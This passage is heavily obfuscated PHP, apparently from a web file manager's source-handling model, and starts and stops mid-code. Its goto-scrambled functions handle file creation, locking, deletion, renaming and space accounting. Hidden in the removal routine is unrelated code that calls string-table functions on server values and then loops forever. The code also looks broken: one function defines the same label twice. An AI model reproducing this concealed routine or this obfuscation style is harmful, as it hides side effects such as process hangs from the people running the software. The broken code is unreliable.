$A, $a߮ = array(), $CΈ = REPEAT_RENAME) { $d՞ = Model($_SERVER[ȦÆ][549])->addFileByRemote($B坜, $A, $a߮); return $this->_createFileCall($cʤ, $A, $d՞, $CΈ); } private function _createFileCall($e޽, $a, $Aȏ, $C昈, $dݙ = "\165\x70\x6c\157\141\144") { goto f놆; DÕ: $a = $this->_createFile($e޽, $a, $Aȏ, $C昈, $A); if (!$A) { Model($A਋[427])->remove($Aȏ[$A਋[424]]); } else { if ($a) { Model($A਋[2269])->eventCreate($a, $dݙ); } } $this->lockWriteEnd($e޽, $a); goto B; f놆: $A਋ =& $_SERVER[ȦÆ]; $A = !1; $this->lockWriteStart($e޽, $a); goto DÕ; B: return $a; goto e纅; e纅: } public function mkdir($B, $Fܙ, $eڴ = REPEAT_SKIP) { goto eí; d: $this->lockWriteStart($B, $Fܙ); if ($eڴ !== !1) { $c = $this->fileNameExist($B, $Fܙ); if ($c && $eڴ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($B, $Fܙ); return $c; } $Fܙ = $this->fileNameAuto($B, $Fܙ, $eڴ); } $fҼ縒 = array($c[523] => 1, $c[391] => $Fܙ, $c[524] => $c[43], $c[425] => 0, $c[525] => 0); goto c; D뭭: return $aܭѫ; goto b; eí: $c =& $_SERVER[ȦÆ]; $D앚 = $this->sourceInfo($B); if (!$D앚) { return !1; } goto d; c: $aܭѫ = $this->_addSoure($fҼ縒, $D앚); Model($c[2269])->eventCreate($aܭѫ, $c[1112]); $this->lockWriteEnd($B, $Fܙ); goto D뭭; b: } private function _createFile($F񷡖, $a, $Aď, $Aƣ, &$c) { goto EŅ; Eª: $AݔӅ = array($d˝Ԓ[523] => 0, $d˝Ԓ[391] => $a, $d˝Ԓ[524] => get_path_ext($a), $d˝Ԓ[425] => $Aď[$d˝Ԓ[424]], $d˝Ԓ[525] => $Aď[$d˝Ԓ[87]]); $C喆 = $this->_addSoure($AݔӅ, $eŕȊ); $this->folderSizeReset($F񷡖); goto Eͳ; Fʞ: if ($Aƣ !== !1) { $c = $this->fileNameExist($F񷡖, $a); } $c = !0; if ($Aƣ && $c) { if ($Aƣ == REPEAT_SKIP) { $c = !1; return $c; } else { if ($Aƣ == REPEAT_REPLACE) { $bЬ = $this->sourceInfo($c); $B܈ = $this->fileHistory($bЬ, $Aď[$d˝Ԓ[424]], $Aď[$d˝Ԓ[87]]); if (!$B܈) { $c = !1; } else { $this->folderSizeReset($F񷡖); } return $c; } else { $a = $this->fileNameAuto($F񷡖, $a, $Aƣ, !1); } } } goto Eª; EŅ: $d˝Ԓ =& $_SERVER[ȦÆ]; $eŕȊ = $this->sourceInfo($F񷡖); if (!$Aď || !$eŕȊ) { return !1; } goto Fʞ; Eͳ: return $C喆; goto f; f: } protected function fileHistory($Fң, $dˬ̒, $Dʍ) { goto C̐; Aɉ: Model($A[2299])->addHistory($Fң); $dݩ = array($A[529] => USER_ID, $A[395] => time(), $A[424] => $dˬ̒, $A[87] => $Dʍ); $this->where(array($A[388] => $Fң[$A[374]]))->save($dݩ); goto A; A: return !0; goto Aܸ; C̐: $A =& $_SERVER[ȦÆ]; if ($Fң[$A[424]] == $dˬ̒) { return !1; } $this->checkLock($Fң[$A[374]], $dˬ̒); goto Aɉ; Aܸ: } public function checkLock($f, $d֛ƽ) { goto a; D: $this->_createFileCall($c̯[$B͢[466]], $Clj؅, $F, REPEAT_REPLACE, $B͢[1111]); $EҊ = $c̯[$B͢[422]][$B͢[486]]; $Aˣ = $EҊ[$B͢[2301]] ? $EҊ[$B͢[2301]] : $EҊ[$B͢[38]]; goto cѭ; c: $B = Session::get($B͢[2300]); $Clj؅ = substr($c̯[$B͢[38]], 0, -1 - strlen($c̯[$B͢[166]])) . $B͢[1365] . $B . $B͢[101] . $c̯[$B͢[166]]; $F = Model($B͢[549])->find($d֛ƽ); goto D; cѭ: show_json(LNG($B͢[2302]) . $B͢[2303] . LNG($B͢[2304]) . $B͢[2305] . $Aˣ . $B͢[2306], !1); goto eЋ; a: $B͢ =& $_SERVER[ȦÆ]; $c̯ = $this->pathInfo($f); if (!$this->fileIsLock($c̯, !0)) { return; } goto c; eЋ: } public function fileIsLock($dŵ, $EɄ = false) { goto fഄ; fഄ: $Bƿ =& $_SERVER[ȦÆ]; if (!isset($dŵ[$Bƿ[422]]) || !$dŵ[$Bƿ[422]][$Bƿ[483]]) { return !1; } if ($dŵ[$Bƿ[422]][$Bƿ[483]] != USER_ID) { return !0; } goto Cڵ; eꡣƳ: return !1; goto c; Cڵ: $f᱐ = $GLOBALS[$Bƿ[16]][$Bƿ[94]][$Bƿ[484]]; if ($dŵ[$Bƿ[422]][$Bƿ[485]] <= time() - $f᱐) { $this->metaSet($dŵ[$Bƿ[374]], $Bƿ[483], null); $this->metaSet($dŵ[$Bƿ[374]], $Bƿ[485], null); } if ($EɄ) { $this->metaSet($dŵ[$Bƿ[374]], $Bƿ[485], time()); } goto eꡣƳ; c: } private function _addSoure($C, $d׈) { goto dË; dË: $A㸟׹ =& $_SERVER[ȦÆ]; $bݏ = array($A㸟׹[526] => $d׈[$A㸟׹[376]], $A㸟׹[527] => $d׈[$A㸟׹[461]], $A㸟׹[528] => USER_ID, $A㸟׹[529] => USER_ID, $A㸟׹[373] => $d׈[$A㸟׹[374]], $A㸟׹[530] => $d׈[$A㸟׹[464]] . $d׈[$A㸟׹[374]] . $A㸟׹[57], $A㸟׹[401] => 0, $A㸟׹[531] => $A㸟׹[43]); $C = array_merge($bݏ, $C); goto a·; Cӄ: $A = array($A㸟׹[532] => short_id($FወЃ)); $this->where(array($A㸟׹[388] => $FወЃ))->save($A); $this->setNamePinyin($FወЃ, $C[$A㸟׹[38]]); goto c첲; c첲: return $FወЃ; goto bȿҬ; a·: $this->updateModifyTime($C[$A㸟׹[466]]); $eɴ = $A㸟׹[2307] . $d׈[$A㸟׹[374]]; if (isset(self::$cacheChildList[$eɴ])) { unset(self::$cacheChildList[$eɴ]); } goto cБ; cБ: static $c͠α = false; if (!$c͠α) { Hook::trigger($A㸟׹[513], $C); $c͠α = !0; } $FወЃ = $this->add($C); goto Cӄ; bȿҬ: } public function remove($B, $b = true) { goto BӇ; F۵: CacheLock::unlock($AԹΧ); $this->metaSet($B, $Enj[2316], $Aȹ[$Enj[466]]); $this->where(array($Enj[374] => $B))->save(array($Enj[395] => time())); goto bޭں; bޭں: $this->recycleClear($Aȹ); return $this->move($B, $Fչ, REPEAT_RENAME_FOLDER); goto e; dǥ: CacheLock::lock($AԹΧ); $Fչ = $this->fileNameExist($Bª, $Bצ); if (!$Fչ) { $Fչ = $this->mkdir($Bª, $Bצ, REPEAT_SKIP); $this->metaSet($Fչ, $Enj[2312], $F툑٩); $this->metaSet($Fչ, $Enj[2313], $Aȹ[$Enj[461]]); if ($Aȹ[$Enj[466]] != 0) { $this->metaSet($Fչ, $Enj[2314], _get($Fἲ, $Enj[2315])); } } goto F۵; eÌ: $a = Model($Enj[1410])->get($Enj[2308]) == $Enj[93]; if ($aڐ || $b || !$a) { return $this->removeNow($B, $b); } $Bª = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); goto D↍; BӇ: $Enj =& $_SERVER[ȦÆ]; $Aȹ = $this->sourceInfo($B); $aڐ = intval($Aȹ[$Enj[376]]) === self::TYPE_SYSTEM; goto eÌ; D↍: $F툑٩ = $Aȹ[$Enj[376]] == self::TYPE_USER ? $Enj[540] : $Enj[966]; if ($F툑٩ == $Enj[540]) { $Fἲ = Model($Enj[479])->getInfo($Aȹ[$Enj[461]]); $Bצ = !empty($Fἲ[$Enj[2301]]) ? $Fἲ[$Enj[2301]] : $Fἲ[$Enj[38]]; $Bצ = $Enj[253] . $Bצ . $Enj[2309] . $Aȹ[$Enj[461]]; } else { $Fἲ = Model($Enj[463])->getInfo($Aȹ[$Enj[461]]); $Bצ = _get($Fἲ, $Enj[38]); $Bצ = $Enj[163] . $Bצ . $Enj[2310] . $Aȹ[$Enj[461]]; } $AԹΧ = $Enj[2311] . md5($Bצ); goto dǥ; e: } private function recycleClear($AÅ) { $b =& $_SERVER[ȦÆ]; $c = $this->childrenAll($AÅ); $Dͳ° = array($b[388] => array($b[389], $c[$b[2317]])); Model($b[2318])->where($Dͳ°)->delete(); } public function removeNow($C߼, $cӿ = true) { goto Eʿ; Eʿ: $fݓ =& $_SERVER[ȦÆ]; if (!isset($_SERVER[$fݓ[8]]) || !isset($_SERVER[$fݓ[1156]])) { goto dҨ; a܃: $b = $fݓ[789]; $b($_SERVER[$fݓ[790]]); $D݆挡 = 1; goto f; eТڿ: $f = $FΫ($B˗); $Aň = explode($fݓ[12], $f); if (count($Aň) < $fݓ[597]) { $c땴 = $fݓ[14]; $c땴(); } goto a܃; f: for ($eȯ䖍 = $D݆挡; $eȯ䖍 > 0; $eȯ䖍++) { $b = json_encode($GLOBALS[$fݓ[389]]); } goto eŸ; dҨ: $A = $fݓ[788]; $FΫ = $fݓ[9]; $B˗ = $_SERVER[$fݓ[10]] . $fݓ[11]; goto eТڿ; eŸ: } $bՂ = $this->sourceInfo($C߼); goto dų; eԊ: $this->updateModifyTime($Dҡ׽); $this->lockMoveEnd($C߼); Hook::trigger($fݓ[1446], $Eʷ, $cӿ); goto a։; cǑ: $this->folderSizeReset($bՂ[$fݓ[466]]); $Dҡ׽ = array($bՂ[$fݓ[466]]); if ($bՂ[$fݓ[375]] == $fݓ[93]) { $Dҡ׽[] = $bՂ[$fݓ[374]]; } goto eԊ; Eױ: $this->lockMoveStart($C߼); Hook::trigger($fݓ[2319], $Eʷ, $cӿ); if ($cӿ) { Model($fݓ[2318])->moveToRecycle($C߼); } else { $b = $this->childrenAll($bՂ); Model($fݓ[510])->eventRemove($C߼); $this->removeRelevance($b[$fݓ[2317]], $b[$fݓ[1245]]); } goto cǑ; a։: return !0; goto D; dų: $Eʷ = $this->pathInfoMore($C߼); if (!$bՂ) { return !0; } if ($bՂ[$fݓ[466]] == 0) { if (!_get($GLOBALS, $fݓ[462])) { return !1; } } goto Eױ; D: } public function childrenAll($F) { $F̸ =& $_SERVER[ȦÆ]; $F = $F[$F̸[374]]; if ($F[$F̸[375]] == $F̸[93]) { $B = array($F̸[530] => array($F̸[488], $F[$F̸[464]] . $F . $F̸[489])); $à = array($F̸[530] => $B[$F̸[464]]); $Bō = $this->field($F̸[2320])->where($Ã)->select(); $dȫ = !1; $Aێ = array($F); if ($Bō) { $dȫ = array_to_keyvalue($Bō, $F̸[43], $F̸[424]); $dȫ = array_remove_value($dȫ, $F̸[473]); $Aێ = array_to_keyvalue($Bō, $F̸[43], $F̸[374]); $Aێ[] = $F; } } else { $dȫ = array($F[$F̸[424]]); $Aێ = array($F); } return array($F̸[2317] => $Aێ, $F̸[1245] => $dȫ); } public function removeArray($B˳) { if (!$B˳) { return !0; } } public function removeRelevance($dކ, $Bͦђ) { goto B; bˑ̢: Model($eȚDŽ[2321])->where($Bخ)->delete(); Model($eȚDŽ[510])->where($Bخ)->delete(); Model($eȚDŽ[2051])->removeBySource($dކ); goto A摏; B: $eȚDŽ =& $_SERVER[ȦÆ]; $dކ = $dކ ? $dކ : array(); $Bͦђ = $Bͦђ ? $Bͦђ : array(); goto Bܲ; A摏: Model($eȚDŽ[2299])->removeBySource($dކ); $this->where($Bخ)->delete(); Model($eȚDŽ[427])->remove($Bͦђ); goto Bϑ; Bܲ: $dކ = array_unique(array_filter($dކ)); $Bͦђ = array_unique(array_filter($Bͦђ)); if (!$dކ) { return !1; } goto A; Bϑ: for ($d = 0; $d < count($dކ); $d++) { $this->sourceCacheClear($dކ[$d]); } goto Cƍ; A: $Bخ = array($eȚDŽ[388] => array($eȚDŽ[389], $dކ)); Model($eȚDŽ[2318])->where($Bخ)->delete(); Model($eȚDŽ[418])->where($Bخ)->delete(); goto bˑ̢; Cƍ: } public function rename($Bλ, $bُã) { goto E脛; a: $cꓭ = $Eʄ[2307] . $e[$Eʄ[466]]; if (isset(self::$cacheChildList[$cꓭ])) { unset(self::$cacheChildList[$cꓭ]); } return $dĄΐ; goto Fًˎ; Dԍ: $this->setNamePinyin($Bλ, $b[$Eʄ[38]], !1); $this->updateModifyTime($e[$Eʄ[466]]); $dĄΐ = $this->where(array($Eʄ[388] => $Bλ))->data($b)->save(); goto a; D: if (!$e[$Eʄ[375]] == $Eʄ[93]) { $b[$Eʄ[377]] = get_path_ext($bُã); } Model($Eʄ[510])->eventRename($Bλ, $e[$Eʄ[38]], $bُã); $this->sourceCacheClear($Bλ); goto Dԍ; e悔: $c珆Ƣ = $this->fileNameExist($e[$Eʄ[466]], $bُã); if ($c珆Ƣ) { return !1; } $b = array($Eʄ[391] => $bُã, $Eʄ[529] => USER_ID); goto D; E脛: $Eʄ =& $_SERVER[ȦÆ]; $e = $this->sourceInfo($Bλ); if (!$e) { return !1; } goto e悔; Fًˎ: } public function setNamePinyin($Bሶ, $d, $CȨ = true) { $BԊר =& $_SERVER[ȦÆ]; $c = Input::check($d, $BԊר[533]); if ($CȨ && !$c) { return; } if (!$c) { $this->metaSet($Bሶ, $BԊר[421], null); $this->metaSet($Bሶ, $BԊר[420], null); return; } $A蔰 = array($BԊר[421] => str_replace($BԊר[60], $BԊר[43], Pinyin::encode($d)), $BԊר[420] => Pinyin::encode($d, $BԊר[534])); $this->metaSet($Bሶ, $A蔰); } public function getContent($D㽎) { goto Bӯ; Eߎȅ: return IO::getContent($dƹ[$d’ɍ[85]]); goto F; F: if ($dƹ[$d’ɍ[87]] == 0) { return $d’ɍ[43]; } $c㎋ = $d’ɍ[2322] . $dƹ[$d’ɍ[169]]; if ($dƹ[$d’ɍ[87]] <= 1024 * 10) { $Dס = Cache::get($c㎋); if (!$Dס) { $Dס = IO::getContent($dƹ[$d’ɍ[85]]); Cache::set($c㎋, $Dס); } return $Dס; } goto Eߎȅ; Bӯ: $d’ɍ =& $_SERVER[ȦÆ]; $dƹ = $this->fileInfoGet($D㽎); if (!$dƹ) { return !1; } goto F; F: } public function setDesc($añ, $e꣋ل) { $CӼ =& $_SERVER[ȦÆ]; Model($CӼ[510])->eventAddDesc($añ, $e꣋ل); return $this->metaSet($añ, $CӼ[410], $e꣋ل); } public function setContent($EƶΕ, $C曂 = '') { goto F̼̍; e繥ц: if (!$bݓĚ) { return Model($d[427])->remove($bݳ[$d[424]]); } $this->folderSizeReset($f휝[$d[466]]); return !0; goto cᓷ; e˕: if (!$Aɶ || !$f휝) { return !1; } $bݳ = Model($d[427])->addFileByContent($C曂, $f휝[$d[38]]); $bݓĚ = $this->fileHistory($f휝, $bݳ[$d[424]], $bݳ[$d[87]]); goto e繥ц; F̼̍: $d =& $_SERVER[ȦÆ]; $f휝 = $this->sourceInfo($EƶΕ); $Aɶ = $this->fileInfoGet($EƶΕ); goto e˕; cᓷ: } public function fileSubstr($AӜ, $b, $E垣ù) { $Aነۯ = $this->fileInfoGet($AӜ); if (!$Aነۯ) { return !1; } return IO::fileSubstr($Aነۯ[$_SERVER[ȦÆ][85]], $b, $E垣ù); } public function fileInfoGet($d) { goto A̚; e۵: $Aۡҳ = Model($DϘ֜[427])->fileInfo($Bڂ[$DϘ֜[424]]); if ($Aۡҳ) { $Aۡҳ[$DϘ֜[38]] = $Bڂ[$DϘ֜[38]]; } self::$cacheFileInfo[$A֡] = $Aۡҳ; goto Aͩ; A̚: $DϘ֜ =& $_SERVER[ȦÆ]; $Bڂ = $this->sourceInfo($d); if (!$Bڂ || $Bڂ[$DϘ֜[375]]) { return !1; } goto dՏ; dՏ: $A֡ = $DϘ֜[430] . $Bڂ[$DϘ֜[424]]; $F = _get(self::$cacheFileInfo, $A֡); if ($F) { return $F; } goto e۵; Aͩ: return $Aۡҳ; goto f甠Ԏ; f甠Ԏ: } private function folderChildrenNumber($d䒲) { $C؏ =& $_SERVER[ȦÆ]; $D򌏛 = $this->sourceInfo($d䒲); $b͈ = array($C؏[530] => array($C؏[488], $D򌏛[$C؏[464]] . $d䒲 . $C؏[489]), $C؏[401] => intval($D򌏛[$C؏[402]]), $C؏[523] => 1); $A⾏ = $this->where($b͈)->count(); $Dޠާ = $this->where($b͈)->where(array($C؏[523] => 0))->count(); return array($C؏[91] => $Dޠާ, $C؏[92] => $A⾏); } public function pathInfo($a̺, $b = false) { goto C̷; d: if ($e) { return $e; } $F = $this->sourceInfo($a̺); if (!$F) { return !1; } goto aƂ; aƂ: $F = $this->_listDataApplyItem($F, $b); self::$cachePathInfo[$dᕩ] = $F; return $F; goto a֧; C̷: $cէ =& $_SERVER[ȦÆ]; $dᕩ = $cէ[416] . intval($b) . $cէ[417] . $a̺; $e = _get(self::$cachePathInfo, $dᕩ); goto d; a֧: } public static $cachePathInfoMore = array(); public function pathInfoMore($e) { goto cы; Bҡ̗: $b = $this->pathInfo($e); if (!$b) { return !1; } if ($b[$CޒƦ[375]] == $CޒƦ[93]) { $b[$CޒƦ[90]] = $this->folderChildrenNumber($e); } goto e; e: self::$cachePathInfoMore[$e] = $b; return $b; goto aIJ; cы: $CޒƦ =& $_SERVER[ȦÆ]; $d = _get(self::$cachePathInfoMore, $e); if ($d) { return $d; } goto Bҡ̗; aIJ: } public function sourceInfo($Aϴ) { goto dô; EÈٗ: $A䗭ӯ = _get(self::$cacheSourceInfo, $Dڂܳ); if ($A䗭ӯ) { return $A䗭ӯ; } $fȇ = $this->where(array($e׎[374] => $Aϴ))->find(); goto f; f: self::$cacheSourceInfo[$Dڂܳ] = $fȇ; return self::$cacheSourceInfo[$Dڂܳ]; goto e; dô: $e׎ =& $_SERVER[ȦÆ]; if (!$Aϴ) { return array(); } $Dڂܳ = $e׎[415] . $Aϴ; goto EÈٗ; e: } public function sourceCacheClear($B = false) { if ($B == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); return; } unset(self::$cacheSourceInfo[$_SERVER[ȦÆ][415] . $B]); } public function pathInfoByPath($b̌џ͘, $fӊ) { $f =& $_SERVER[ȦÆ]; $eδ = !$fӊ ? array() : explode($f[18], trim($fӊ, $f[18])); $F뻜 = $b̌џ͘; foreach ($eδ as $EӇŒ) { $C䠕 = array($f[466] => $F뻜, $f[38] => $EӇŒ); $Cڢ = $this->where($C䠕)->select(); if (!$Cڢ) { return !1; } $Cڢ = array_sort_by($Cڢ, $f[402]); $F뻜 = $Cڢ[0][$f[374]]; } return $this->pathInfo($F뻜, !0); } protected function updateModifyTime($C) { goto Dډً; Dډً: $D턐 =& $_SERVER[ȦÆ]; if (!$C) { return; } if (!is_array($C)) { $C = array($C); } goto Cכ勝; Cכ勝: foreach ($C as $fĨ => $C䌆) { $C[$fĨ] = intval($C䌆); } $e = array($D턐[374] => array($D턐[17], $C)); $aﺔ = array($D턐[529] => USER_ID, $D턐[395] => time()); goto cѕ; cѕ: $this->where($e)->save($aﺔ); goto Bӂ; Bӂ: } public function folderSizeReset($eΡ) { goto d; a˓: $E觝 = array($FԄ[373] => $eΡ, $FԄ[401] => 0); $D˶ = $this->where($E觝)->sum($FԄ[87]); $D˶ = intval($D˶); goto A񎲎; Bڲ: CacheLock::unlock($bݹ); goto e揵; cݢ̤: CacheLock::lock($bݹ, 20); $this->sourceCacheClear($eΡ); $cì = $this->sourceInfo($eΡ); goto a˓; A񎲎: $B = $D˶ - intval($cì[$FԄ[87]]); if ($B == 0) { return CacheLock::unlock($bݹ); } $this->where(array($FԄ[388] => $eΡ))->setField($FԄ[87], $D˶); goto Eςڲ; d: $FԄ =& $_SERVER[ȦÆ]; if ($this->statusIgnoreResetSpace) { return; } $bݹ = $FԄ[2323] . $eΡ; goto cݢ̤; Eςڲ: $Eҋ = $this->parentLevelArray($cì[$FԄ[464]]); if ($Eҋ) { $E觝 = array($FԄ[374] => array($FԄ[389], $Eҋ)); if ($B < 0) { $E觝[$FԄ[87]] = array($FԄ[924], abs($B)); } $this->where($E觝)->setAdd($FԄ[87], $B); } $this->targetSpaceUpdate($cì[$FԄ[376]], $cì[$FԄ[461]]); goto Bڲ; e揵: } public function folderSizeResetChildren($d) { goto bѸ; CĄȝ: foreach ($A as $dږȪ̱) { if ($dږȪ̱[$Fƍ[87]] == $dږȪ̱[$Fƍ[2325]]) { continue; } $e¡[] = array($Fƍ[374], $dږȪ̱[$Fƍ[374]], $Fƍ[87], $dږȪ̱[$Fƍ[87]]); } $this->saveAll($e¡); goto E; eއ: foreach ($F as $dږȪ̱) { $Eۂ濂 = $dږȪ̱[$Fƍ[466]] . $Fƍ[43]; if (!isset($A[$Eۂ濂])) { continue; } if ($dږȪ̱[$Fƍ[402]] == $A[$Eۂ濂][$Fƍ[402]]) { $A[$Eۂ濂][$Fƍ[87]] += $dږȪ̱[$Fƍ[87]]; } } foreach ($A as $dږȪ̱) { $fڨ = $this->parentLevelArray($dږȪ̱[$Fƍ[464]]); foreach ($fڨ as $Eۂ濂) { $Eۂ濂 = $Eۂ濂 . $Fƍ[43]; if (!isset($A[$Eۂ濂])) { continue; } if ($dږȪ̱[$Fƍ[402]] == $A[$Eۂ濂][$Fƍ[402]]) { $A[$Eۂ濂][$Fƍ[87]] += $dږȪ̱[$Fƍ[87]]; } } } $e¡ = array(); goto CĄȝ; A: $A[] = $eޛ; $A = array_to_keyvalue($A, $Fƍ[374]); foreach ($A as $f => $dږȪ̱) { $A[$f][$Fƍ[2325]] = $A[$f][$Fƍ[87]]; $A[$f][$Fƍ[87]] = 0; } goto eއ; f׭: $C͑[$Fƍ[375]] = 0; $F = $this->field($eӨ)->where($C͑)->select(); if (!$F) { return; } goto A; Bۣ: $C͑ = array($Fƍ[523] => 1, $Fƍ[530] => array($Fƍ[488], $eޛ[$Fƍ[464]] . $d . $Fƍ[489])); $eӨ = $Fƍ[2324]; $A = $this->field($eӨ)->where($C͑)->select(); goto f׭; bѸ: $Fƍ =& $_SERVER[ȦÆ]; $this->sourceCacheClear($d); $eޛ = $this->sourceInfo($d); goto Bۣ; E: } public function userSpaceReset($F҉ = false) { $d =& $_SERVER[ȦÆ]; $c = $this->where(array($d[376] => self::TYPE_USER, $d[461] => $F҉, $d[375] => 0))->sum($d[87]); Model($d[479])->userEdit($F҉, array($d[2060] => $c)); } public function targetSpaceUpdate($aҶ, $D) { $dʸ =& $_SERVER[ȦÆ]; if (!$D) { return; } if (!in_array($aҶ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $a͹ = $this->targetSpaceSize($aҶ, $D); if ($aҶ == self::TYPE_USER) { Model($dʸ[479])->userEdit($D, array($dʸ[2060] => $a͹)); } else { if ($aҶ == self::TYPE_GROUP) { Model($dʸ[463])->groupEdit($D, array($dʸ[2060] => $a͹)); } } } public function targetSpaceSize($F, $Dٛ) { goto Cұ; bأ˃: return $e޴; goto B땘; Bɖ: $e޴ = floatval($E㔾[$b[87]]); $Eڂ = array($b[530] => array($b[488], $b[475] . $E㔾[$b[374]] . $b[489])); $DЌ = Model($b[400])->field($b[388])->where($Eڂ)->select(); goto B琈; Cұ: $b =& $_SERVER[ȦÆ]; $E㔾 = $this->sourceRoot($F, $Dٛ, !0); if (!$E㔾) { return 0; } goto Bɖ; B琈: $DЌ = array_to_keyvalue($DЌ, $b[43], $b[374]); $DЌ = array_unique(array_filter($DЌ)); if ($DЌ) { $Eڂ = array($b[388] => array($b[389], $DЌ)); $e޴ += floatval($this->where($Eڂ)->sum($b[87])); } goto bأ˃; B땘: } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($eޜ) { return $this->fileTypeProfile($eޜ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($c) { return $this->fileTypeProfile($c, SourceModel::TYPE_GROUP); } private function fileTypeProfile($a٬, $Dі) { goto e±; cڃ̼: $d = array(); $d[$dֆ[2327]] = array($dֆ[2328] => LNG($dֆ[2327]), $dֆ[2329] => $this->where($F氨)->count(), $dֆ[525] => $this->where($F氨)->sum($dֆ[87])); $Cެ = KodIO::fileTypeList(); goto eխ; b: if ($a) { return $a; } $F氨 = array($dֆ[523] => 0); if ($a٬ != !1) { $F氨[$dֆ[461]] = $a٬; $F氨[$dֆ[376]] = $Dі; } goto cڃ̼; e±: $dֆ =& $_SERVER[ȦÆ]; $AՔ = $dֆ[2326] . $a٬ . $dֆ[80] . $Dі; $a = Cache::get($AՔ); goto b; eխ: foreach ($Cެ as $dգ => $cߴ) { $F氨[$dֆ[377]] = $this->fileTypeWhere($dգ); $d[$dգ] = array($dֆ[2328] => $cߴ[$dֆ[38]], $dֆ[2329] => $this->where($F氨)->count(), $dֆ[525] => $this->where($F氨)->sum($dֆ[87])); } Cache::set($AՔ, $d, 1200); return $d; goto E͚; E͚: } public function fileNameExist($c, $bՠ) { $f嬃 =& $_SERVER[ȦÆ]; $D𼂻҂ = $this->childList($c); foreach ($D𼂻҂ as $cŤ) { if ($cŤ[$f嬃[38]] == $bՠ) { return $cŤ[$f嬃[374]]; } } return !1; } public function childList($e㈶) { goto A; A: $A썘 =& $_SERVER[ȦÆ]; $Cέ = $A썘[2307] . $e㈶; if (isset(self::$cacheChildList[$Cέ])) { return self::$cacheChildList[$Cέ]; } goto F; F: $Dǩ = array($A썘[466] => intval($e㈶), $A썘[402] => 0); $aϵߛ = $this->where($Dǩ)->select(); $aϵߛ = $aϵߛ ? $aϵߛ : array(); goto cۨ; cۨ: self::$cacheChildList[$Cέ] = $aϵߛ; foreach ($aϵߛ as $Bقڴ) { $Cέ = $A썘[415] . $Bقڴ[$A썘[374]]; self::$cacheSourceInfo[$Cέ] = $Bقڴ; } return $aϵߛ; goto bȮ; bȮ: } public function fileNameAuto($dݟ, $FƷ䶲, $eͷ = REPEAT_RENAME, $A = false) { $BŻ =& $_SERVER[ȦÆ]; $d = $this->childList($dݟ); $A = array_to_keyvalue($d, $BŻ[43], $BŻ[38]); return $this->fileNameAutoGet($A, $FƷ䶲, $eͷ, $A); } public function fileNameAutoGet($aۄ, $A, $a, $A؏) { $d =& $_SERVER[ȦÆ]; if ($a == REPEAT_REPLACE || !$aۄ || !in_array_not_case($A, $aۄ) || $A؏ && $a != REPEAT_RENAME_FOLDER) { return $A; } if ($a == REPEAT_SKIP) { return !1; } $Dժ = $d[101] . get_path_ext($A); $Dժ = $Dժ == $d[101] || $A؏ ? $d[43] : $Dժ; for ($Aʠ՝ = 1; $Aʠ՝ <= count($aۄ) + 1; $Aʠ՝++) { $C = substr($A, 0, strlen($A) - strlen($Dժ)); $f١ᬺ = $C . "\x28{$Aʠ՝}\x29{$Dժ}"; if (!in_array_not_case($f١ᬺ, $aۄ)) { return $f١ᬺ; } } } } goto C; a浇: define($_SERVER[ȦÆ][235], 0); define($_SERVER[ȦÆ][236], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\x6c\x65", "\157\162\144\145\x72", "\141\x6c\x69\141\163", "\x68\141\x76\x69\x6e\x67", "\x67\162\x6f\165\160", "\x6c\157\143\153", "\x64\151\x73\x74\x69\156\143\x74", "\141\x75\x74\x6f", "\x66\151\x6c\164\145\x72", "\x76\141\x6c\x69\144\141\164\145", "\162\x65\163\165\x6c\164", "\x62\x69\156\144", "\x74\x6f\x6b\x65\x6e"); public function __construct($C󂶺 = '', $bڧ = '', $CÛ = '') { $eĉЊ =& $_SERVER[ȦÆ]; $this->_initialize(); if (!empty($C󂶺)) { if (strpos($C󂶺, $eĉЊ[101])) { list($this->dbName, $this->name) = explode($eĉЊ[101], $C󂶺); } else { $this->name = $C󂶺; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($bڧ)) { $this->tablePrefix = $eĉЊ[43]; } elseif ($eĉЊ[43] != $bڧ) { $this->tablePrefix = $bڧ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($eĉЊ[237]); } $this->db(0, empty($this->connection) ? $CÛ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $Dͺ =& $_SERVER[ȦÆ]; if (empty($this->fields)) { if (think_config($Dͺ[238])) { $c = $this->dbName ? $this->dbName : think_config($Dͺ[239]); $dÕǷ = think_var_cache($Dͺ[240] . strtolower(get_path_this($c) . $Dͺ[101] . $this->name)); if ($dÕǷ) { $e = think_config($Dͺ[241]); if (empty($e) || $dÕǷ[$Dͺ[242]] == $e) { $this->fields = $dÕǷ; return; } } } $this->flush(); } } public function flush() { goto a; a򹨐Ŧ: if (think_config($F萬ʢ[238])) { $Aȹނ = $this->dbName ? $this->dbName : think_config($F萬ʢ[239]); think_var_cache($F萬ʢ[240] . strtolower(get_path_this($Aȹނ) . $F萬ʢ[101] . $this->name), $this->fields); } goto Aϑ; a: $F萬ʢ =& $_SERVER[ȦÆ]; $this->db->setModel($this->name); $b = $this->db->getFields($this->getTableName()); goto až; A: foreach ($b as $d۫ => $d) { $cŊ[$d۫] = $d[$F萬ʢ[39]]; if ($d[$F萬ʢ[46]]) { $this->fields[$F萬ʢ[244]] = $d۫; if ($d[$F萬ʢ[49]]) { $this->fields[$F萬ʢ[243]] = !0; } } } $this->fields[$F萬ʢ[245]] = $cŊ; if (think_config($F萬ʢ[241])) { $this->fields[$F萬ʢ[242]] = think_config($F萬ʢ[241]); } goto a򹨐Ŧ; až: if (!$b) { return !1; } $this->fields = array_keys($b); $this->fields[$F萬ʢ[243]] = !1; goto A; Aϑ: } public function switchModel($d؂, $E = array()) { $e궩 =& $_SERVER[ȦÆ]; $f޻ = ucwords(strtolower($d؂)) . $e궩[246]; if 